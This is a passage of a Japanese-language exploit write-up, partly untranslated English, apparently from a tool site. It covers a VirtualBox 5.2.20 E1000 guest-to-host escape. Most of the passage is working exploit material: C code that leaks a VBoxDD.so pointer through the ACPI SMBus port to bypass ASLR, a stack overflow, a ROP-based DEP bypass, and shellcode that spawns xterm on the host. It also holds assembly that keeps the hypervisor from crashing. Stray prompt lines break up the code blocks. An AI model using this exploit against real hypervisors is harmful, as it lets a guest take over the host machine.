ACPIポートの入出力ハンドラが0x4100〜0x410Fの範囲に登録されています。0x4107ポートの場合、次のようになります:```c PDMBOTHCBDECL(int) acpiR3SMBusRead(PPDMDEVINS pDevIns, void *pvUser, RTIOPORT Port, uint32_t *pu32, unsigned cb) { RT_NOREF1(pDevIns); ACPIState *pThis = (ACPIState *)pvUser; ... switch (off) { ... case SMBBLKDAT_OFF: *pu32 = pThis->au8SMBusBlkDat[pThis->u8SMBusBlkIdx]; pThis->u8SMBusBlkIdx++; pThis->u8SMBusBlkIdx &= sizeof(pThis->au8SMBusBlkDat) - 1; break; ...

root@kitploit:~
ゲストOSがINB(0x4107)命令を実行してポートから1バイトを読み取ると、ハンドラはau8SMBusBlkDat[32]配列からu8SMBusBlkIdxインデックスにある1バイトを取り出し、ゲストに返します。そして、これが書き込みプリミティブを適用する方法です。仮想デバイスのヒープブロック間の距離は一定であるため、EEPROM93C46.m_au16Data配列からACPIState.u8SMBusBlkIdxまでの距離も一定です。ACPIState.u8SMBusBlkIdxに2バイトを書き込むことで、ACPIState.au8SMBusBlkDatから255バイトの範囲内の任意のデータを読み取ることができます。

障害があります。ACPIState構造体を見ると、配列が構造体の末尾に配置されていることがわかります。残りのフィールドは漏洩に役立ちません。では、構造体の後に何があるか見てみましょう。```
gef➤  x/16gx (ACPIState*)(0x7fc47008be70+0x100)+1
0x7fc47008d4e0:	0xffffe98100000090	0xfffd9b2000000000
0x7fc47008d4f0:	0x00007fc470067a00	0x00007fc470067a00
0x7fc47008d500:	0x00000000a0028a00	0x00000000000e0000
0x7fc47008d510:	0x00000000000e0fff	0x0000000000001000
0x7fc47008d520:	0x000000ff00000002	0x0000100000000000
0x7fc47008d530:	0x00007fc47008c358	0x00007fc44d6ecdc6
0x7fc47008d540:	0x0031000035944000	0x00000000000002b8
0x7fc47008d550:	0x00280001d3878000	0x0000000000000000
gef➤  x/s 0x00007fc44d6ecdc6
0x7fc44d6ecdc6:	"ACPI RSDP"
gef➤  vmmap VBoxDD.so
Start                           End                             Offset                          Perm Path
0x00007fc44d4f3000 0x00007fc44d768000 0x0000000000000000 r-x /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d768000 0x00007fc44d968000 0x0000000000275000 --- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d968000 0x00007fc44d977000 0x0000000000275000 r-- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d977000 0x00007fc44d980000 0x0000000000284000 rw- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
gef➤  p 0x00007fc44d6ecdc6 - 0x00007fc44d4f3000
$2 = 0x1f9dc6

It seems there is a pointer to a string placed at a fixed offset from VBoxDD.so image base. The pointer lies at 0x58 offset at the end of ACPIState. We can read that pointer byte-by-byte using the primitives and finally obtain VBoxDD.so image base. We just hope that data past ACPIState structure is not random on each virtual machine boot. Hopefully, it isn't; the pointer at 0x58 offset is always there.

情報漏洩

Now we combine write and read primitives and exploit them to bypass ASLR. We will overflow the heap overwriting EEPROM93C46 structure, then trigger EEPROM finite automaton to write the index to ACPIState structure, and then execute INB(0x4107) in the guest to access ACPI to read one byte of the pointer. Repeat those 8 times incrementing the index by 1.```c uint64_t stage_1_main(void* mmio, void* tx_ring) { printk(KERN_INFO PFX"##### Stage 1 #####\n");

root@kitploit:~
// When loopback mode is enabled data (network packets actually) of every Tx Data Descriptor 
// is sent back to the guest and handled right now via e1kHandleRxPacket.
// When loopback mode is disabled data is sent to a network as usual.
// We disable loopback mode here, at Stage 1, to overflow the heap but not touch the stack buffer
// in e1kHandleRxPacket. Later, at Stage 2 we enable loopback mode to overflow heap and 
// the stack buffer.
e1000_disable_loopback_mode(mmio);

uint8_t leaked_bytes[8];
uint32_t i;
for (i = 0; i < 8; i++) {
    stage_1_overflow_heap_buffer(mmio, tx_ring, i);
    leaked_bytes[i] = stage_1_leak_byte();

    printk(KERN_INFO PFX"Byte %d leaked: 0x%02X\n", i, leaked_bytes[i]);
}

uint64_t leaked_vboxdd_ptr = *(uint64_t*)leaked_bytes;
uint64_t vboxdd_base = leaked_vboxdd_ptr - LEAKED_VBOXDD_RVA;
printk(KERN_INFO PFX"Leaked VBoxDD.so pointer: 0x%016llx\n", leaked_vboxdd_ptr);
printk(KERN_INFO PFX"Leaked VBoxDD.so base: 0x%016llx\n", vboxdd_base);

return vboxdd_base;

}

root@kitploit:~
整数アンダーフローがスタックバッファオーバーフローにつながらないようにするには、特定のE1000レジスタが設定されている必要があると言われています。その考え方は、ループバックモードでTxディスクリプタを処理中に呼び出されるe1kHandleRxPacket関数でバッファがオーバーフローするというものです。実際、ループバックモードではゲストが自分自身にネットワークパケットを送信するため、送信後すぐに受信されます。このモードを無効にすることで、e1kHandleRxPacketに到達できなくなります。

### DEP Bypass
ASLRをバイパスしました。これでループバックモードを有効にし、スタックバッファオーバーフローをトリガーできます。```c
void stage_2_overflow_heap_and_stack_buffers(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
    off_t buffer_pa;
    void* buffer_va;
    alloc_buffer(&buffer_pa, &buffer_va);

    stage_2_set_up_buffer(buffer_va, vboxdd_base);
    stage_2_trigger_overflow(mmio, tx_ring, buffer_pa);

    free_buffer(buffer_va);
}

void stage_2_main(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
    printk(KERN_INFO PFX"##### Stage 2 #####\n");

    e1000_enable_loopback_mode(mmio);
    stage_2_overflow_heap_and_stack_buffers(mmio, tx_ring, vboxdd_base);
    e1000_disable_loopback_mode(mmio);
}

現時点では、e1kHandleRxPacketの最後の命令が実行されると、保存されたリターンアドレスが上書きされ、制御が攻撃者の望む任意の場所に転送されます。しかし、DEPは依然として有効です。これは、ROPチェーンを構築する古典的な方法でバイパスされます。ROPガジェットは実行可能メモリを割り当て、シェルコードローダーをコピーして実行します。

Shellcode

シェルコードローダーは単純です。オーバーフローしているバッファの先頭をその隣にコピーします。```asm use64

start: lea rsi, [rsp - 0x4170]; push rax pop rdi add rdi, loader_size mov rcx, 0x800 rep movsb nop

payload: ; Here the shellcode is to be

loader_size = $ - start

root@kitploit:~
シェルコードが実行されます。その最初の部分は次のとおりです。```asm
use64

start:
    ; sys_fork
    mov rax, 58
    syscall

    test rax, rax
    jnz continue_process_execution

    ; Initialize argv
    lea rsi, [cmd]
    mov [argv], rsi

    ; Initialize envp
    lea rsi, [env]
    mov [envp], rsi

    ; sys_execve
    lea rdi, [cmd]
    lea rsi, [argv]
    lea rdx, [envp]
    mov rax, 59
    syscall

...

cmd     db '/usr/bin/xterm', 0
env     db 'DISPLAY=:0.0', 0
argv    dq 0, 0
envp    dq 0, 0

これはforkおよびexecveを使用して/usr/bin/xtermプロセスを作成します。攻撃者はホストのリング3の制御を獲得します。

Process Continuation

私はすべてのエクスプロイトは完了するべきだと考えています。つまり、アプリケーションをクラッシュさせるべきではないということですが、もちろん常に可能とは限りません。仮想マシンの実行を継続させる必要があり、これはシェルコードの2番目の部分によって達成されます。```asm continue_process_execution: ; Restore RBP mov rbp, rsp add rbp, 0x48

root@kitploit:~
; Skip junk
add rsp, 0x10

; Restore the registers that must be preserved according to System V ABI
pop rbx
pop r12
pop r13
pop r14
pop r15

; Skip junk
add rsp, 0x8

; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before:   "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After:    "E1000-Xmit" -> NULL

; Zero out the entire PDMQUEUE "Mouse_1" pointed by "E1000-Rcv"
; This was unnecessary on my testing machines but to be sure...
mov rdi, [rbx]
mov rax, 0x0
mov rcx, 0xA0
rep stosb

; NULL out a pointer to PDMQUEUE "E1000-Rcv" stored in "E1000-Xmit"
; because the first 8 bytes of "E1000-Rcv" (a pointer to "Mouse_1") 
; will be corrupted in MMHyperFree
mov qword [rbx], 0x0

; Now the last PDMQUEUE is "E1000-Xmit" which will not be corrupted

ret
root@kitploit:~
e1kHandleRxPacket が呼び出されると、コールスタックは次のようになります。```
#0 e1kHandleRxPacket
#1 e1kTransmitFrame
#2 e1kXmitDesc
#3 e1kXmitPacket
#4 e1kXmitPending
#5 e1kR3NetworkDown_XmitPending
...

早速 e1kR3NetworkDown_XmitPending に飛びます。これは何もせず、ハイパーバイザー関数に戻ります。```c static DECLCALLBACK(void) e1kR3NetworkDown_XmitPending(PPDMINETWORKDOWN pInterface) { PE1KSTATE pThis = RT_FROM_MEMBER(pInterface, E1KSTATE, INetworkDown); /* Resume suspended transmission */ STATUS &= ~STATUS_TXOFF; e1kXmitPending(pThis, true /fOnWorkerThread/); }

root@kitploit:~
シェルコードは、RBPに0x48を加算して、e1kR3NetworkDown_XmitPending内にあるべき値にします。次に、レジスタRBX、R12、R13、R14、R15がスタックから取り出されます。これは、System V ABIが呼び出された関数内でそれらを保存することを要求するためです。そうしないと、無効なポインタが含まれているため、ハイパーバイザがクラッシュします。

これで十分かもしれません。なぜなら、仮想マシンはもうクラッシュせず、実行を続けるからです。しかし、VMがシャットダウンされると、PDMR3QueueDestroyDevice関数でアクセス違反が発生します。その理由は、ヒープがオーバーフローしたときに、重要な構造体PDMQUEUEが上書きされるためです。さらに、それは最後の2つのROPガジェット、つまり最後の16バイトによって上書きされます。ROPチェーンのサイズを減らそうと試みましたが失敗しました。しかし、手動でデータを置き換えても、ハイパーバイザはまだクラッシュしていました。つまり、障害は見た目ほど明白ではないということです。

上書きされているデータ構造はリンクリストです。上書きされるデータは最後から2番目のリスト要素にあります。次のポインタが上書きされます。対策は簡単であることが判明しました:```
; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before:   "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After:    "E1000-Xmit" -> NULL

最後の2つの要素を取り除くことで、仮想マシンがスムーズにシャットダウンできるようになります。

デモ

https://vimeo.com/299325088

ツールをダウンロード
Tx Descriptor前/後u16MaxPktLenpThis->u16TxPktLenpDesc->data.cmd.u20DTALEN
data_2前0x301000x10
-後0x30100x100
data_3前0x30100x100
-後0x30100x100
data_5Before0xF0x100x4188
-After---